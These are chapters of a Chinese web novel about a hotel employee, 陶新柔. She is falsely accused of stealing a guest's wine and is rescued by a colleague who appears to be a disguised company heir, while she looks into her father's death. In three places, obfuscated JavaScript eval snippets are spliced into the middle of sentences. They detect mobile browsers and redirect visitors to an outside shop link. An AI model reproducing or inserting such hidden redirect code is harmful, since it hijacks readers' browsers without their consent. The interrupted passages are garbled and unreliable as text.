当晚，整幢云麓酒店灯火辉煌，衣香鬓影。 25楼VIP区域更是被打造成了悬浮于城市夜空的鎏金秘境。 穹顶垂落的水晶灯折射出万千星辉，定制的丝绒桌布铺陈出耀眼的酒红色，上面错落摆放着金箔餐具与水晶高脚杯，桌角点缀着繁复的永生花，空气中弥漫着顶奢香薰的清冽木质调，每一寸气息都透着奢华的精致。 陶新柔和郑舒慧先是在一楼接待林芝芝请来的圈内朋友，随后带他们前往25楼与林芝芝汇合。 往来宾客皆是身着高定礼服、佩戴璀璨珠宝，男士们西装笔挺、气度不凡，女士们裙摆摇曳、妆容精致，举手投足间尽是圈层特有的矜贵。 陶新柔和郑舒慧不断穿梭在人群中，端茶倒水、应对需求，每一个动作都小心翼翼，不敢有丝毫马虎。 整个派对氛围在一次又一次的热烈中尽显雍容富贵。 派对持续了整整五个小时，直到凌晨一点才结束。 宾客们陆续离开，留下满室狼藉。 陶新柔和郑舒慧立刻开始整理，两人各司其职，不敢有丝毫耽搁。 而此刻，林芝芝竟然没有离场，她喝了些酒，此刻脸泛红晕，原本就小巧精致的脸，显得越发迷人。 她身边的保镖和助理正低声询问是否需要安排车辆，却被她抬手示意停下。 林芝芝踩着细高跟，径直走向正在打扫宴会厅的陶新柔和郑舒慧，从精致的手包里拿出几个厚实的红包，递到两人面前，慵懒道：“这是给你们的一点小小礼物。” 陶新柔和郑舒慧对视一眼，都有些迟疑，酒店规定，非必要不得收受宾客馈赠，正要开口推辞，林芝芝仿佛了然，转身随口补充了一句：“我就放这儿了，对了，我带来的几瓶红酒还没开，就不带回去了，你们自己留着喝吧。” 说完，便在保镖和助理的簇拥下，头也不回地走向电梯口。 陶新柔还没来得及反应，李美丽不知从哪儿冒了出来，厉声吩咐：“陶新柔，你赶紧去把林小姐说的那几瓶红酒拿来，那可是高端进口酒，我们可不能收，你去拿来还给林小姐。” 显然，刚才林芝芝的话她听得一清二楚。 吩咐完后，又立刻堆起谄媚的笑，快步跑去送林芝芝离开。 陶新柔看着李美丽巴结的模样，对郑舒慧道：“你先盯着这边的清理，我去拿红酒。” 陶新柔快速交代一句，便转身朝着林芝芝之前休息的VIP室走去。 走廊上，赵义正在巡察。 “小陶？你来干嘛？” “李主管让我取VIP留下的东西。” “哦，这样啊，那你赶紧去吧。” 陶新柔点点头，就推开了休息室的门。 休息室里还残留着林芝芝身上的香水味，凌乱的休息室里，置物架上摆着几瓶包装精致的红酒，瓶身印着外文标识，一看就价值不菲。 根据接待VIP的规定，只要是VI ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那太谢谢林小姐了，还麻烦您在林总面前多美言我们几句。小陶，酒都数齐了吧？快还给林小姐。” 陶新柔把酒递过去，李美丽一瓶一瓶数着。 “不对，这酒分明是少了一瓶。陶新柔，还有一瓶红酒呢？”李美丽扯起嗓子看向陶新柔。 反倒是林芝芝不以为意：“哦，可能是谁喝了吧，这点酒你们拿着喝就行，我家还有。”这时车子正好停在林芝芝面前，助理替她拉开车门。 “我刚才去VIP室的时候，就是少了一瓶的。”陶新柔如实回答。 “什么？这么昂贵的酒，竟然丢了一瓶！”李美丽尖锐着嗓子道。 陶新柔还没来得及开口，李美丽就已经转头向林芝芝道歉：“林小姐，实在对不起，是我们没照顾好您的东西，这是我们的责任，请您放心，这件事我们一定会调查清楚，到时候给您一个交代。” 谁知林芝芝只是漫不经心地扫了一眼陶新柔怀里的红酒，红唇轻启，语气慵懒又随意：“少了就少了，多大点事，本来就是留给你们喝的，不是什么重要的事就别打扰我了。时间不早了，我得赶紧回去睡美容觉了，晚安了各位。” 林芝芝挥了挥手，车子扬起一抹尾气。 可李美丽却像是没听见她的话一样，转头就换上一副怒不可遏的神情，死死盯着陶新柔：“林小姐大度不追究，不代表你没犯错。陶新柔，你负责VIP休息室的相关事宜，现在红酒少了一瓶，你这就是失职失责！赵义，召集今晚参与保障任务的所有同事，5楼开会！”说着，她又拿出手机，没好气道，“我现在就上报给经理，必须把你开除以儆效尤，给林小姐一个交代！” 8. 第八章 酒店五楼，本已经换上常服的同事们，早就困得东倒西歪了，大家懒洋洋地坐在会议室里等待，直到李美丽的高跟鞋在走廊里发出“咚咚咚”的声音时，大家才如梦初醒，各个都挺直了脊背。 门被猛地打开，李美丽面容严肃，身后跟着抱着一箱名贵酒水的赵义，再后面，就是毫无表情的陶新柔。 李美丽双手撑在会议桌上，用尖锐的嗓音道：“都给我醒醒！今晚接待林小姐的派对，出了严重纰漏，林小姐留下的名贵红酒少了一瓶！” 话音刚落，会议室里立刻响起一阵低低的哗然，困意全无的同事们纷纷交头接耳，目光齐刷刷地投向站在末尾的陶新柔。 “这瓶红酒价值不菲，而负责VIP休息室及相关物资对接的，全程都是陶新柔。赵义，这件事你来说说，到底是怎么回事？” 赵义把红酒放在会议桌上道：“刚才我接到李主管的通知，说陶新柔去VIP休息室取红酒了，等我到休息室时，陶新柔正在慌慌张张地寻找什么，我猜她刚才肯定是把红酒私吞藏起来了。” 陶新柔冷笑，瞬间压下了会议室里的窃窃私语。 她目光直视赵义，眼神犀利：“赵义，你说我慌慌张张寻找，可你进门时，我正在核对置物架上的红酒数量，何来慌张之说？而且，是你火急火燎地催我‘李主管让赶紧过去，别磨蹭’，我才没来得及细找，跟着你匆匆下楼。” “你口口声声说我私吞红酒，那你倒是说说，我若真要藏酒，何必在休息室大费周章寻找，等你来撞破？更何况，从休息室到楼下，你全程在我身边，我根本没有藏酒的机会。” 赵义被问得一噎，眼神飘忽着不敢与她对视，支支吾吾道：“我……我怎么知道你打的什么主意？说不定你早就提前藏好了！” 陶新柔觉得好笑，懒得跟赵义掰扯，转向李美丽道：“李主管，今晚的派对，我和郑舒慧全程在宴会厅服务，直到派对结束才去休息室取酒，根本没有提前进入休息室的机会，我想全程的监控可以为我作证，而且，我负责的VIP休息室物资对接，每一项流程都有记录可查。” 李美丽双手环胸，反而怒斥：“陶新柔，你少在这里狡辩，赵义可是亲眼看到你在休息室找东西，不是找藏起来的红酒是什么？现在红酒少了是事实，你作为负责人，难辞其咎，我看你就是想脱罪，才反过来咬赵义一口！” “李主管，话可不能这么说，酒虽然失踪了，但其实还在我们酒店，如果我说，我能找到那瓶丢失的酒呢？” “你以为你能用上次丢水晶的招数再来一次吗？这次你确定你还能找得到？” “如果我还能把偷酒的人找出来，你是不是得向我道歉？” “你先把酒找出来再说吧。”李美丽双手环胸，一脸笃定陶新柔拿不出来。 陶新柔顿了顿，眼神看向赵义:“那个人，就在你面前。” 赵义被看得慌了神，脱口而出：“陶新柔，你不要血口喷人！” “义哥，我可没说是你啊，你这么着急反驳干嘛。” 李美丽见状，忙插话：“行了，既然你说酒还在我们酒店里，那你倒是把它找出来，要是找不出来，明天我就得看到你的离职报告。” 但赵义的未来画面究竟是什么时候把酒藏好的，陶新柔不得而知，但在未来画面里，李美丽从后勤仓库里拿出酒，证明那时候已经在那儿了，她决定赌一把。 她不卑不亢道：“好啊，我现在就带你们去找。” 一行人很快赶到后勤仓库。 昏暗的仓库里堆满了杂物，角落里的废弃储物柜蒙着厚厚的灰尘。 陶新柔径直走到其中一个储物柜前，对李美丽和众人道：“就是这个柜子。” 见陶新柔笃定，李美丽当众让保安去把柜子打开。 所有人都伸长了脖子，紧紧盯着柜子内部，陶新柔也深吸了一口气。 柜子打开，一只老鼠跳了出来，里面除了老鼠啃食的残渣外，空空如也。 难道不是这个柜子？ 陶新柔心下一紧。 “哈哈哈哈！陶新柔，酒呢？你不是说带我们来找吗？难道这是你想藏的地方？”李美丽瞬间嚣张起来，指着空柜子对周围的人道，“大家都看到了吧？这里根本就没有什么红酒，她就是无凭无据地栽赃陷害，现在证据确凿，赵义，拍照取证，我明天就上报给经理。” “是。”赵义拿出手机，上前拍照。 周围的同事们看着陶新柔也窃窃私语起来，郑舒慧更是急红了眼。 但陶新柔知道，现在慌乱只会中了李美丽的圈套。 陶新柔冷笑一声，抬眼看向李美丽：“李主管这么急着定我的罪，是怕夜长梦多，还是怕真相败露？柜子是空的，就等于我栽赃？恰恰说明，拿走红酒的人还没来得及把东西转移到这里，毕竟我提出找酒，比你们预想的要快得多。” “陶新柔，你在说什么胡话，没有就是没有，难道你还能凭空变出来？”赵义拍完照，一脸义正严词。 陶新柔把目光转向他，语气陡然锐利：“赵义哥，你急什么？好像早就笃定柜子里是空的一样。” “你……”赵义说不出话来。 李美丽作势帮腔：“陶新柔，别废话了，赶紧把你藏的酒拿出来。” 陶新柔不疾不徐，继续说：“酒不在我这里，但我想说明几点，虽然我接触过红酒是事实，但接触过不代表就是我拿的，我负责全程VIP派对活动，并非唯一接触VIP的人。根据流程设置，VIP休息室的物资区域，后勤组每小时会进行一次巡检，赵义哥作为后勤组成员，今晚有过两次巡检记录，这一点我想值班日志上有登记。” “其次，我发现红酒缺失后，第一时间保护了现场，没有移动置物架上的任何物品，直到赵义哥来，在他的监督下，我才如数拿出。最后，我没有作案的时间。从我进入休息室到发现缺失、再到被赵义哥催促离开，全程不超过5分钟。反倒是赵义哥，明明应该在我进入休息室前10分钟完成巡检，但我却还在走廊上遇到他，他完全有接触红酒的嫌疑，所以，这个红酒在哪儿，恐怕你才知道。” 陶新柔瞪眼看着赵义。 赵义慌了神，大声道：“陶新柔，你别瞎说，我在走廊上巡检那是因为我先去了别的地方巡检，才回到休息室的，怎么就成了有接触红酒的嫌疑？” 他攥紧手机，语气急得发颤，看向李美丽：“李主管，您可以去查值班日志，我今晚两次巡检都有登记时间，第一次是晚上十一点，第二次是凌晨零点半，都是按规定完成的。” “是吗？那我们可以现在调取走廊的监控吗？”陶新柔问。 只要现在调取，就可以防止李美丽他们做手脚。 “技术部早就下班了，你别找借口了，这件事已经铁证如山了，明天你就等着被开除吧！” 李美丽一口咬定事情结果，正要说“散会”时，房荣拿着一台平板从旁边走了出来：“李主管，不用等技术部上班，我这里就有监控录像。” 他径直走到李美丽面前，将平板电脑展示给众人可看递过去：“各位，我是今晚的巡检负责人之一，因为要保障派对安全，所以我让技术部在平板上安装了当晚的几个监控实时镜头，这是我刚才调取的监控录像。” 房荣点开录像，画面清晰地显示，半小时前，赵义在陶新柔进入VIP休息室前，就已经先一步进去过，停留了大概五分钟左右才出来，手里还拎着一个黑色布袋子，过了十分钟才匆匆赶回来，布袋子却不见了，之后陶新柔发现红酒失踪、跟着赵义离开休息室。 “这……这不是我！是监控认错人了！”赵义浑身发抖，双腿一软，差点瘫坐在地，说话都结结巴巴的。 李美丽的脸色也瞬间铁青，她怎么也没想到，房荣竟然会提前调取监控，还把赵义的行踪拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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至于赵义，则被直接开除，永不录用。 消息传开，同事们三三两两聚在茶水间、走廊角落窃窃私语，神色各异。 郑舒慧找到陶新柔，松了口气道：“太好了，新柔，我都要担心死你了，幸好没事了。虽然李主管没被开除，但降职成普通员工，也算是恶有恶报了。” 陶新柔轻轻点头，脸上却没有半分轻松。 风波落幕，陶新柔的嫌疑是洗干净了，可心底的疑虑却像一团浓云，越积越重。 小应总啊小应总，你到底为什么帮我？ 她偷偷斜眼，瞄向不远处的那个工位。 只见房荣正埋头对着电脑，眉头微蹙，表情专注，那身平平无奇的工服穿在他身上，硬是穿出了一种爱岗敬业标兵的合规气质。 装，接着装！ 陶新柔内心已经开始拍桌。 表面是老实巴交、甚至有点木讷的新人员工，背地里到底是个怎样的总裁？ 第一次帮她解围还能说是巧合，但这次，还能说是巧合吗？ 这次李美丽搞出这么大阵仗，他却步步为营，提前调取监控备份、及时通知安保部搜查证据，要不是他关键时刻挺身而出打破僵局，陶新柔定会吃瘪。 难道……他真是总部派来微服私访体验生活的少爷？还是什么商业间谍？ 总不能是看她骨骼清奇，准备发展她当下线吧？ 各种离奇猜测在陶新柔脑子里盘旋不止。 陶新柔决定不能再这样被动猜测下去。 这位伪装总裁身上的谜团，绝不是表面看起来得那么简单。 好，房荣，不管你是什么来头，有什么目的，这个神奇的谜底，我陶新柔挖定了！ 她倒要看看，这张朴实无华的脸皮下，到底藏着怎样的剧本。 9. 第九章 趁着午休时间，陶新柔特意坐到房荣对面。 “房荣，这次真的多亏你了，要不是你及时拿出监控证据，我真是跳进黄河也洗不清了。”她双手合十，眼睛发亮。 眼前这位传说中翻云覆雨的商界精英，此刻正对着餐盘里的两荤一素埋头苦干。 房荣看到她，愣了一下，随即露出一个略带憨气的笑容：“不用谢，我只是碰巧看到监控里有异常，又刚好负责这片区域的巡检，而且，要不是你提醒我，我也不会想到这么做，举手之劳，你不用放在心上。” “不过……你是怎么能拿到实时监控的？那不是安保部才有的吗？”陶新柔好奇。 “这个嘛……”房荣突然被呛到似的咳了两声，“我那天不是有巡检任务，就找安保部同事借了个平板以防万一，没想到真派上用场了。” 他说得轻巧，可陶新柔分明记得，那平板压根不是安保部的标配。 除非…… 她眼神悄悄落在房荣脸上。 此刻他正认真挑着青椒里的肉丝，发型还被食堂的风扇吹起了一丝刘海，露出光洁的额头，更像刚毕业的清秀学生。 可偏偏脑海停留的分明是这人一身高定西装，坐在总裁椅上，气场冷冽的模样。 等等，该不会他现在就已经暗搓搓手握总裁权限了吧？ 这个男人，远比她想象的还要深不可测。 餐桌上一时安静下来，只听得见周围同事的交谈声。 就在这时，群里发来新消息：“陶新柔、房荣，你们拿着酒店的礼品，去给林小姐登门道歉。” 两人的手机同时响起。 “看来我们下午得跑一趟了。”房荣说道。 * 下午两点，两人在酒店门口碰面。 陶新柔一眼就看见了那辆酒店标配的白色轿车，以及驾驶座上那位气定神闲的临时司机。 房荣按下车窗，朝她笑了笑：“上车吧。” 陶新柔却突然顿住，拎着礼品袋不知所措。 “要不我来开？”陶新柔问。 “路远，我来开吧。”房荣不给她留机会。 陶新柔更害怕了，救命，总裁亲自开车送我，这不妥妥的总裁开车她坐车？ 只是她现在得装着淡定的样子，微笑着坐上副驾，心里还念叨着：这是普通同事，这是普通同事，这是普通同事。 然而，陶新柔僵硬的身体已经出卖了她，她双手规规矩矩地放在膝盖上。 车子平稳驶向郊外。 房荣眼神一撇，问道：“你会晕车吗？” “不会。”陶新柔目视前方。 “那你……怎么坐得这么笔直？” 啊，她坐的很明显吗？ 陶新柔大脑飞速运转：“啊那是因为……酒店服务人员的职业素养。” “哦？同事之间也需要职业素养吗？” “当然了，这，这不是上班时间嘛。” 陶新柔心里欲哭无泪，还不是因为是老板开车，她才害怕的。 “是吗？可是我怎么觉得你很怕我。” 陶新柔捏紧衣摆，心里咯噔一下：“怕你？你有什么好怕的，你就是我……普通同事嘛，哈哈哈。”陶新柔飞速撇开视线。 “是吗？但我总感觉你对我说话特别……周到。”房荣斟酌了用词。 陶新柔有些窘迫，只好立刻解释：“你真的想多啦！我那是……那是职业习惯，酒店服务行业嘛，讲究礼仪和距离感，而且我这个人就是有点慢热，跟不熟悉的人相处，需要一点时间。” “是吗？”房荣笑了笑，“可我们不只是同事，还是房东和租客，按这个关系算，应该不算不熟悉吧？” 陶新柔瞬间卡壳。 是熟悉，但也不能太熟悉吧？ 可总裁发表意见，她能说不吗？ 三秒后，她郑重表态：“您说得对，我反思。” 房荣轻笑出声，自然地换了个话题：“说起来，租到你家房子也是巧，中介推荐了好几处，就你家离酒店最近，格局也合适，租金也在预算内，看了就定了。” “是吗？那太好了，你能满意我们家，是我们的荣幸。” 应景晟：…… 他的房东还真是奇奇怪怪的。 话题中断，车内陷入安静，车子又开了半个多小时，终于抵达林芝芝的别墅。 这是一栋欧式风格的独栋别墅，掩映在青山绿水间，气派又雅致。 房荣停好车，陶新柔拎着礼品下车。 “等会儿见了林小姐，你别紧张，她看着不好惹，其实人不坏，还养了七只流浪猫。” “你怎么知道？”陶新柔好奇地问。 房荣摸了摸鼻子，撇开目光：“哦，是上次派对，我碰巧听到她跟助理说的。” 陶新柔没深究，跟着房荣走进别墅。 很快，助理就来开门了，客气地将他们迎了进去，果然刚开门，就有几只小猫蹭着他们的腿喵喵叫。 客厅布置得奢华又不失格调，林芝芝正窝在沙发上抱着一只猫看电影，眼神都没落在他们身上一眼。 陶新柔递上礼品，态度诚恳：“林小姐，这次的事情真是非常抱歉，给您带来了不好的体验。酒店已经对相关流程进行了严肃整改，这是我们的一点小心意，还请您千万别往心里去。” 林芝芝摆摆手，语气慵懒：“东西你们拿走吧，我家不收破烂，你们也自便。” 见林芝芝没有要接的意思，陶新柔心里微微一沉。 她看了一眼身旁的房荣，眼神里带着几分询问。 这该怎么办，林芝芝不满意他们的礼品。 房荣上前一步，语气诚恳：“林小姐，这次的失误确实是我们的疏忽，酒店方面也深刻反省了。后续我们会加强VIP区域的物资管理，绝不会再出现类似的情况，对于缺失的那瓶红酒，我们也准备了等价的礼品，请您过目。” 听到房荣的声音，林芝芝才慢悠悠地转过头，目光落在房荣身上，顿了顿才问道：“你叫什么名字？” 房荣微微一怔，讷了讷道：“我叫房荣。” 林芝芝又看了几秒，才转过头继续看电影：“你很像我小时候的一个玩伴，不过他现在应该在国外生活。” 陶新柔瞬间竖起了耳朵，全身的八卦和警觉细胞同时沸腾。 刚才房荣说他知道林芝芝养了七只流浪猫的时候就觉得他说漏嘴了，现在一看，果然证实林芝芝认识他，上流社会的圈子就是小！ 这下看总裁怎么反驳。 只见房荣露出几分腼腆的笑，受宠若惊：“林小姐说笑了，那还真是有缘。” “小吴，给他 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送完礼品，摆脱了李美丽的纠缠，陶新柔终于有精力推进搁置已久的调查父亲旧案。 父亲当年在云麓集团旗下酒店工作时意外身亡，官方结论是“操作失误”，可陶新柔始终觉得事有蹊跷，尤其是在拥有了预知能力后，她更是坚定了父亲的死并非意外。 恰巧因为李美丽的问题暴露，暂时接手客房部的新任主管魏浩接到上级通知，要求他们把历年的档案都归整一遍，以防有客户的信息遗漏。 陶新柔主动申请了这次的整理任务，此刻，她的桌面上已摆着一大摞的档案盒等待整理，而她的脑海里有一个想法—— 父亲的档案会不会有记录？ 陶新柔找到魏浩：“魏主管，我整理的档案发现有些工作记录不够完整，想申请去档案室补充查阅一下，完善咱们部门的资料台账。” 魏浩正忙着处理文件，闻言抬头看了她一眼，没多想便点了点头：“可以，你去吧，记得尽快整理好。” 得到许可，陶新柔便去了总部。 站在总部鳞次栉比的大楼前，她心潮澎湃。 终于离接近真相的机会近了一步。 陶新柔握了握拳，走进总部大厅。 这不算是她第一次来，前两次是来面试和交资料，这次，她有种不一样的感觉，仿佛总部的空气都变得更为紧张了。 档案室在七层，需要刷两次门禁。 她说明来意，前台小姑娘核对了她的工牌，又说需要打个电话，陶新柔捏紧了衣角。 只是片刻后，前台抱歉地笑笑：“不好意思，陶小姐，您的申请权限不足，需要部门总监级以上审批才能进入。” “我有客房部主管的签字批准。”陶新柔递上魏浩那张盖了章的单子。 前台接过去，认真看了两眼，还是摇头：“这上面签的是‘同意查阅部门内部档案’，可您要进的是集团总库，是需要分公司总经理或总部部门主管签字的，抱歉。” 陶新柔站在走廊里，看着那张被退回来的申请单，忽然觉得很冷。 规定、权限、审批。 每一个词都像一扇缓缓合上的铁门，把她拦在外面。 而门后，就是藏有父亲证据的地方，看来这件事，还得找应景晟帮忙。 10. 第十章 但怎么找应景晟帮忙，陶新柔还没想到好办法。 随之而来的却是另一个问题，应景晟到底要干嘛？ 应景晟打了个喷嚏。此刻，他正站在出租屋窗前，看着窗外已然霓虹的街景。 他的脑海里正翻涌着比陶新柔更复杂的思绪。 他本想借这次失窃事件观察陶新柔的反应，确认她是否与张宏斌派系有关，却没想到陶新柔能精准找到藏酒地点，且全程未向李美丽妥协，反而正面对抗。 结合此前观察，应景晟暂时解除了陶新柔是张宏斌眼线的怀疑，可陶新柔的表现，完全超出了他的预期。 一个基层员工，能有如此敏锐的洞察力和沉稳的应变能力，绝不可能是普通人。 她的背后，或许还站着其他势力，只是暂时没有暴露而已。 不过目前看来，陶新柔的立场虽然不明确，但至少能证明她与张宏斌并非一心。 倘若能确认陶新柔的立场与自己一致，或许能将她拉拢过来，成为自己在基层的得力助手。 就在这时，助理的电话打来了。 “小应总，关于集团内部泄密案的调查有新进展了。”王安然说道。 “说。” “我们已经发现了泄密的源头，很可能与数年前西南分公司的一个旧项目有关。” 应景晟眸色沉了下来：“西南分公司？五年前倒闭的那家企业？继续说。” “是，我们查到，那个项目当年存在违规操作的嫌疑，后来被强行压了下来。这次的泄密内容，恰好涉及到当年项目的部分核心数据，我们正好还找到了当年的负责人日志。小应总，您晚上方便吗？” 看来这个日志是重要线索，应景晟想了想回答：“晚上7点，来仓道找我。” 仓道是一家湘菜馆，藏在老城区的巷子里，味道正宗却不张扬，是应景晟特意选的人少清静，适合谈正事的地方。 应景晟刚坐下没多久，王安然就到了。 他毕恭毕敬地走到应景晟面前：“小应总，抱歉来迟了。” 王安然拉开对面的椅子坐下，将一个密封的文件袋放在桌角。 应景晟点点头，示意他先点菜，等服务员离开后，他才低声开口问：“里面有什么关键信息？” “日志是当年西南分公司项目负责人的，里面详细记录了项目的推进过程，我们发现多处违规审批的痕迹，签字人都是陶海振，我们查了相关线索，他是当时项目的后勤主管，负责物料采购和场地安全，但他在16年前已经去世了。” “陶海振？”应景晟的印象里并没有这个人物，但既然王安然提到了，一定是重点，再加上此人已经去世，必定有蹊跷。 “继续查，有任何情况都随时向我汇报。” 王安然刚要应声，就见应景晟的目光突然瞥向门口。 他顺着看去，只见陶新柔和郑舒慧走了进来。 四目相对，陶新柔也没想到会在这里碰到房荣，脚步瞬间顿住。 郑舒慧倒是没多想，笑着与他们打招呼：“房荣？好巧啊，你也来这儿吃饭？” 应景晟迅速收敛神色，恢复了那副憨厚的模样：“是啊，真巧。这是我朋友，过来找我聚聚。” 王安然立刻配合地笑了笑，冲两人点了点头，没多说话。 只是陶新柔的眼神却在王安然身上上下打量。 “原来是这样啊，那我们不打扰你们叙旧啦。新柔，我们也找个地方坐下来吧。”郑舒慧拉着陶新柔找了个离他们不远的桌子坐下。 刚坐下来，陶新柔就一直用狐疑的眼神看着那边的动态。 她回去后还在想办法怎么跟应景晟说，郑舒慧就来找她吃饭了。 然而看到应景晟对面坐着的王安然，陶新柔心里有起了一丝疑虑。 他的这位朋友，看起来非常不简单。 因此反推，房荣的真实面目也不是他们看到的那样。 他伪装成普通员工，绝对不是善茬。 或许他的本质就是个妥妥的大反派？ “新柔？”郑舒慧用手肘碰了碰她，压着笑意，“你老盯着房荣看干嘛？你该不会是喜欢他吧？” 陶新柔猛地回过神，连忙收回目光：“才不是呢，我是在看他那个朋友，你没觉得奇怪吗？他那个朋友看起来很拘谨。而且，房荣平时跟我们在一起什么样，你也知道，可你看他现在，虽然还是笑着，但整个人的感觉，有点不一样，像不像微服私访的总裁？” 郑舒慧被她这番严谨的观察分析弄得一愣，也忍不住又看了一眼：“被你一说……好像是。”郑舒慧顿了半晌又忽然笑起来，“哎呀，我看就是你暗恋他啦，所谓情人眼里出西施。” 陶新柔红了脸：“才不是呢，你看，他那个朋友穿的可是一身名牌，什么样的人会结交什么样的朋友，所以房荣一定不是我们认为得那么简单，而且你发现没，我们进来后，他跟他朋友就不怎么聊天了。” 郑舒慧想了想，又压低声音，八卦道：“确实是这么回事，但我觉得你想太多啦，现在找工作这么卷，房荣说不定也是没办法呢？我之前听后勤组的人说，他留学的学校还是顶尖学府，好像一年学费都要上百万，能上得起那种大学的，家境肯定不差，哎，只能说现在找工作真不容易，我得更珍惜这份工作才是。” 陶新柔被郑舒慧的脑回路弄乱了，她反问：“舒慧，你太单纯了，难道你没觉得这里有问题吗？” 郑舒慧摇摇头：“没有啊，不过这跟我们也没关系啦，菜来啦，快吃饭吧。” 而另一边，应景晟也在留意着陶新柔的动静，见她频频看向自己，越发不敢轻举妄动。 “对了，我们调查的时候还发现，还有个人也在调查分公司的档案。”王安然小声道。 这话瞬间勾起了应景晟的警惕，他不动声色地往王安然碗里夹了一筷子鱼，故意抬高了几分音量道：“快尝尝这道剁椒鱼，是这家店的招牌，鲜得很。” 王安然立刻意会，顺势接过房荣的好意，低头应答的模样里，流露着藏不住的恭敬感。 房荣只好小声提醒：“放松点，现在我们是朋友聚餐，这事不急，等吃完再细说。” 王安然连忙点头，勉强放缓了姿态。 一餐饭在演戏中结束，待两人用餐完毕，陶新柔和郑舒慧的菜才刚上桌，跟她们告别后，房荣便坐上王安然的车离开。 “刚才你说谁还调查过这件事？”应景晟瞬间卸下了所有伪装，周身的气息冷了下来，他靠在后排座椅上，翻阅王安然递来的资料夹沉声发问。 “是陶新柔，我们调查的时候，发现她曾经申请进入档案室，但被拒绝了。”王安然从后视镜里看向他，补充道，“小应总，陶这个姓氏不算常见，我忽然想起，我们查到的陶海振，会不会和陶新柔有什么亲属关系？” 王安然这么一提醒，应景晟翻看资料的手顿时僵住，他指尖一顿，恰好抽出一张照片，正是陶海振与施工队的合影。 照片里的陶海振面带温和的笑意，神情平易近人，他搂着施工队队友的肩膀，看上去关系十分熟络。 应景晟凝眸细看，陶海振的眉眼轮廓，竟与陶新柔有几分相似。 陶海振……陶新柔…… 猜疑间他觉得两人肯定有什么联系。 应景晟将照片捏在手中，眸色愈发深邃。 看来陶新柔远没有他看到得那么简单。 不过，总部没有让她进去，她肯定还会想其他办法。 应景晟嘴角一勾，一个想法在脑海里盘旋。 他或许得更接地气一些才会打听到内幕。 “继续调查，务必查清楚，西南分公司的违规项目到底是怎么回事。”应景晟的声音冷冽。 “是，小应总。” “这张照片我先留下了，其他你拿回去。给我停在前面路口就行，还有，行动的时候千万别让人发现了。” “是。”王安然沉声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203427|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应下，轻踩油门，车子汇入夜色之中。 * 陶新柔的警惕心也是在这时候越来越烈的，她想知道房荣到底为何要伪装在基层，于是暗中观察就成了她的日常。 他用的什么牌子的香水，戴的什么手表，包括他用的什么品牌的牙膏，都在陶新柔的监视下。 一种势必要查出房荣是对她不怀好意的态度在陶新柔的生活中蔓延。 直到这天，众人下班前夕，一场突如其来的雨即将抵达。 天空积聚着铅灰色的云层，空气闷热潮湿，员工们纷纷加快脚步，都想赶在雨点砸下前离开。 陶新柔刚走到员工通道门口，豆大的雨点就噼里啪啦砸了下来，瞬间连成一片雨幕。 她暗道不好，正犹豫是冲去公交站还是退回大堂等等，车子的滴滴声由远及近。 只见房荣骑着他那辆新款小电驴，急急地停在了她面前。 “没带伞吗？要不要带你一程？这雨一时半会儿停不了。”他面带微笑道。 “啊……这……” 陶新柔本能的想拒绝，毕竟上次已经让总裁开车了，这次又让总裁骑小电炉带她，以后都会被记在本子上吧？ 但眼下的雨…… 犹豫间，又一阵疾风卷着雨丝扑来，她下意识缩了缩肩膀。 “穿上这个吧，我载你回家，别淋湿了。”房荣笑着看她。 但陶新柔的脑子里的弦突然紧绷。 总裁为什么对她这么热情，是不是有什么阴谋？ 上次她没进去总部档案室，会不会就是他搞的鬼？ 她狐疑地乜起眼睛，却见房荣已经从小箱子里拿出一件雨衣递了过来。 见陶新柔还站着，房荣似乎有些犹豫道：“要我给你穿上？” “啊不不不。”她怎么敢劳驾总裁大人为她穿衣。 陶新柔半推半就地跨坐上小电驴后座，空间有限，两人之间保持着克制的距离。 小电驴启动，驶入朦胧的雨幕中。 速度不快，稳稳地穿梭在开始积水的街道上。 世界被哗啦啦的雨声包围，反而衬得这小小的雨衣下有种奇异的安静。 “你可以稍微放松点，我车技还行，不会把你摔下去的。” 陶新柔“哦哦”了一下，但她哪儿敢放松，她只怕总裁有什么额外目的。 会不会骑进什么巷子里把她嘎了。 大概是太过安静了，陶新柔决定趁着这时候试探一下总裁。 “真没想到你车技还挺好的，对了，你这个小电驴颜色挺特别的，很少见男生选薄荷绿。” “哦，是店家说这个颜色最近很火，我就买了。我都买了两星期了，你才注意到，说起来，最近你也不跟我一起出门了，是在躲我？” 陶新柔心下一紧。 完了，先被总裁试探了。 她气定闲神：“才不是，就是最近比较忙，早几分钟出门而已，不过说起来，你上次能借到安保部的平板好厉害啊，我连借个投影仪都要填表。” “想知道秘诀？” “嗯嗯。” “请行政部喝奶茶就行，她们抽屉里藏着所有部门的备用权限卡。” 陶新柔眼睛一亮：“真的假的？！” “假的。”他转回去，声音里笑意更浓，“其实是我上次帮安保部干了点小活，算是他们的回礼吧。” …… 好，什么也没探听到。 总裁赢了。 “快到了，我给你送到楼下吧，这样不会淋到雨。” 陶新柔下了小电炉，房荣又问：“对了，我去便利店买点明天的早饭，这段时间辛苦阿姨做早饭了，你要吃面包吗？我记得你好像喜欢那家的芒果冰皮面包，我给你带一个？” 陶新柔怔了一下，已然点头。 